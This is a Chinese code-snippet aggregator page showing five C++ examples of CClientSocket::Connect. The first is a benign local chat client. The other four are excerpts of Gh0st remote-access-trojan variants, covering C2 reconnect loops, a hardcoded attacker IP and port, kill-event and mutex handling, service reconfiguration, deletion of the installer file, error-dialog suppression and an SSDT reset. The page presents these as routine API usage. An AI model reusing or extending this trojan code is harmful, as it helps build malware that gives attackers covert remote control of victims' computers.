当前位置: 首页>>代码示例>>C++>>正文


C++ CClientSocket::Connect方法代码示例

本文整理汇总了C++中CClientSocket::Connect方法的典型用法代码示例。如果您正苦于以下问题:C++ CClientSocket::Connect方法的具体用法?C++ CClientSocket::Connect怎么用?C++ CClientSocket::Connect使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在CClientSocket的用法示例。


在下文中一共展示了CClientSocket::Connect方法的5个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。

示例1: main

int main()
{
    CClientSocket Client;

    // Create the socket to communicate with the Server
    if (!Client.Create(AF_INET, SOCK_STREAM)) {
        cout << "Failed to create socket\n" ;
        return 0;
    }

    // Connect to the server
    if (SOCKET_ERROR == Client.Connect("127.0.0.1", "3000")) {
        cout << "Failed to connect to server. Was it running?\n";
        return 0;
    }

    cout << "Connected to server.\n";
    cout << "Type data to send, type quit to exit\n";
    // Monitor the client socket for network events, such as data ready to receive
    Client.StartEvents();
    // Send data to the server
    string s;

    for (;;) {  // Infinite loop
        getline(cin, s);

        if (s == "quit") break;

        int i = Client.Send(s.c_str(), (int)s.length(), 0);
        cout << "Sending  " << i << " characters\n";
    }

    return 0;
}
开发者ID:wyrover,项目名称:win32-framework,代码行数:34,代码来源:Client.cpp

示例2: Loop_FileManager

UINT WINAPI Loop_FileManager(void* managerHandle)
{
	CClientSocket	socketClient;
	if (!socketClient.Connect(CKernelManager::m_ServerHost, CKernelManager::m_ServerPort))
		return -1;
	CFileManager	manager(&socketClient,(DWORD)managerHandle);
	socketClient.run_event_loop();
	return 0;
}
开发者ID:pr1n4ple,项目名称:SevenClient,代码行数:9,代码来源:loop.cpp

示例3: main

int main()
{
//	开机自动启动
//	CBaseSet bs;
//	bs.SetRun();
	

	string	 ServerIp;
	u_short      ServerPort = 9527;
	ServerIp = "183.184.228.68";
	HANDLE	hEvent = NULL;
	CClientSocket socketClient;
	DWORD	dwIOCPEvent;

	while(TRUE)	
	{
		if (!socketClient.Connect(ServerIp,ServerPort))
		{
			Sleep(3*60*1000);
			continue;
		}
		CKernelManager manager(&socketClient,const_cast<char*>(ServerIp.c_str()),ServerPort);
		manager.sendLoginInfo();
		socketClient.setManagerCallBack(&manager);
		Sleep(1000);

		do
		{
			hEvent = OpenEvent(EVENT_ALL_ACCESS, false, NULL);
			dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100);
			Sleep(500);
		} while(hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0);

		if (hEvent != NULL)
		{
			socketClient.Disconnect();
			CloseHandle(hEvent);
		}
		
	}
	return 0;
}
开发者ID:pr1n4ple,项目名称:NinthClient,代码行数:42,代码来源:NinthClient.cpp

示例4: main

DWORD WINAPI main(char *lpServiceName)
{
   char	strServiceName[256];
	char	strKillEvent[50];
	HANDLE	hInstallMutex = NULL;
	//////////////////////////////////////////////////////////////////////////
	// Set Window Station
	strcpy(g_strHost,g_myAddress.strIP);
	g_dwPort=g_myAddress.nPort;
	//--这里是同窗口交互
	HWINSTA hOldStation = GetProcessWindowStation();
	HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED);
	if (hWinSta != NULL)
		SetProcessWindowStation(hWinSta);
	//
	//////////////////////////////////////////////////////////////////////////
	
     //--这里判断CKeyboardManager::g_hInstance是否为空 如果不为空则开启错误处理
	 //--这里要在dllmain中为CKeyboardManager::g_hInstance赋值
	if (CKeyboardManager::g_hInstance != NULL)
	{
		SetUnhandledExceptionFilter(bad_exception);  //这里就是错误处理的回调函数了
		
		lstrcpy(strServiceName, lpServiceName);
		wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 随机事件名

		hInstallMutex = CreateMutex(NULL, true, g_strHost);
		//ReConfigService(strServiceName);   //--lang--
		// 删除安装文件
	//	DeleteInstallFile(lpServiceName);     //--lang--
	}
	// 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人
	SetErrorMode( SEM_FAILCRITICALERRORS);
	char	*lpszHost = NULL;
	DWORD	dwPort = 80;
	char	*lpszProxyHost = NULL;
	DWORD	dwProxyPort = 0;
	char	*lpszProxyUser = NULL;
	char	*lpszProxyPass = NULL;

	HANDLE	hEvent = NULL;
    
	//---这里声明了一个 CClientSocket类
	CClientSocket socketClient;
	BYTE	bBreakError = NOT_CONNECT; // 断开连接的原因,初始化为还没有连接
	//--这里判断是否连接成功如果不成功则继续向下
	while (1)
	{
		// 如果不是心跳超时,不用再sleep两分钟
		if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR)
		{
			// 2分钟断线重连, 为了尽快响应killevent
			for (int i = 0; i < 2000; i++)
			{
				hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
				if (hEvent != NULL)
				{
					socketClient.Disconnect();      
					CloseHandle(hEvent);
					break;
					break;
					
				}
				// 改一下
				Sleep(60);
			}
		}
       //上线地址
		lpszHost = g_strHost;
		dwPort = g_dwPort;

		if (lpszProxyHost != NULL)
			socketClient.setGlobalProxyOption(PROXY_SOCKS_VER5, lpszProxyHost, dwProxyPort, lpszProxyUser, lpszProxyPass);
		else
			socketClient.setGlobalProxyOption();

		DWORD dwTickCount = GetTickCount();
		//---调用Connect函数向主控端发起连接
		OutputDebugString(lpszHost);
 		if (!socketClient.Connect(lpszHost, dwPort))
		{
			bBreakError = CONNECT_ERROR;       //---连接错误跳出本次循环
			continue;
		}
		// 登录
		DWORD dwExitCode = SOCKET_ERROR;
		sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount);
		//---注意这里连接成功后声明了一个CKernelManager 到CKernelManager类查看一下
		CKernelManager	manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
		socketClient.setManagerCallBack(&manager);

		//////////////////////////////////////////////////////////////////////////
		// 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误
		for (int i = 0; (i < 10 && !manager.IsActived()); i++)
		{
			Sleep(1000);
		}
		// 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接
		if (!manager.IsActived())
			continue;
//.........这里部分代码省略.........
开发者ID:Fluray,项目名称:gh0st-----,代码行数:101,代码来源:MainDll.cpp

示例5: main

DWORD WINAPI main(char *lpServiceName)
#endif
{
#ifdef _CONSOLE
	if (argc < 3)
	{
		printf("Usage:\n %s <Host> <Port>\n", argv[0]);
		return -1;
	}
#endif
	// lpServiceName,在ServiceMain返回后就没有了
	char	strServiceName[256];
	char	strKillEvent[50];
	HANDLE	hInstallMutex = NULL;
#ifdef _DLL
	char	*lpURL = (char *)FindConfigString(CKeyboardManager::g_hInstance, "AAAAAA");
	if (lpURL == NULL)
	{
		return -1;
	}

	//////////////////////////////////////////////////////////////////////////
	// Set Window Station
	HWINSTA hOldStation = GetProcessWindowStation();
	HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED);
	if (hWinSta != NULL)
		SetProcessWindowStation(hWinSta);
	//
	//////////////////////////////////////////////////////////////////////////
	

	if (CKeyboardManager::g_hInstance != NULL)
	{
		SetUnhandledExceptionFilter(bad_exception);
		ResetSSDT();
		
		lstrcpy(strServiceName, lpServiceName);
		wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 随机事件名

		hInstallMutex = CreateMutex(NULL, true, lpURL);
		ReConfigService(strServiceName);
		// 删除安装文件
		DeleteInstallFile(lpServiceName);
	}
	// http://hi.baidu.com/zxhouse/blog/item/dc651c90fc7a398fa977a484.html
#endif
	// 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人
	SetErrorMode( SEM_FAILCRITICALERRORS);
	char	*lpszHost = NULL;
	DWORD	dwPort = 80;
	char	*lpszProxyHost = NULL;
	DWORD	dwProxyPort = 0;
	char	*lpszProxyUser = NULL;
	char	*lpszProxyPass = NULL;

	HANDLE	hEvent = NULL;

	CClientSocket socketClient;
	BYTE	bBreakError = NOT_CONNECT; // 断开连接的原因,初始化为还没有连接
	while (1)
	{
		// 如果不是心跳超时,不用再sleep两分钟
		if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR)
		{
			// 2分钟断线重连, 为了尽快响应killevent
			for (int i = 0; i < 2000; i++)
			{
				hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
				if (hEvent != NULL)
				{
					socketClient.Disconnect();
					CloseHandle(hEvent);
					break;
					break;
					
				}
				// 改一下
				Sleep(60);
			}
		}
#ifdef _DLL
		// 上线间隔为2分, 前6个'A'是标志
		if (!getLoginInfo(MyDecode(lpURL + 6), &lpszHost, &dwPort, &lpszProxyHost, 
				&dwProxyPort, &lpszProxyUser, &lpszProxyPass))
		{
			bBreakError = GETLOGINFO_ERROR;
			continue;
		}
#else
		lpszHost = argv[1];
		dwPort = atoi(argv[2]);
#endif
		if (lpszProxyHost != NULL)
			socketClient.setGlobalProxyOption(PROXY_SOCKS_VER5, lpszProxyHost, dwProxyPort, lpszProxyUser, lpszProxyPass);
		else
			socketClient.setGlobalProxyOption();

		DWORD dwTickCount = GetTickCount();
 		if (!socketClient.Connect(lpszHost, dwPort))
		{
//.........这里部分代码省略.........
开发者ID:52piaoyu,项目名称:gh0st,代码行数:101,代码来源:svchost.cpp


注:本文中的CClientSocket::Connect方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。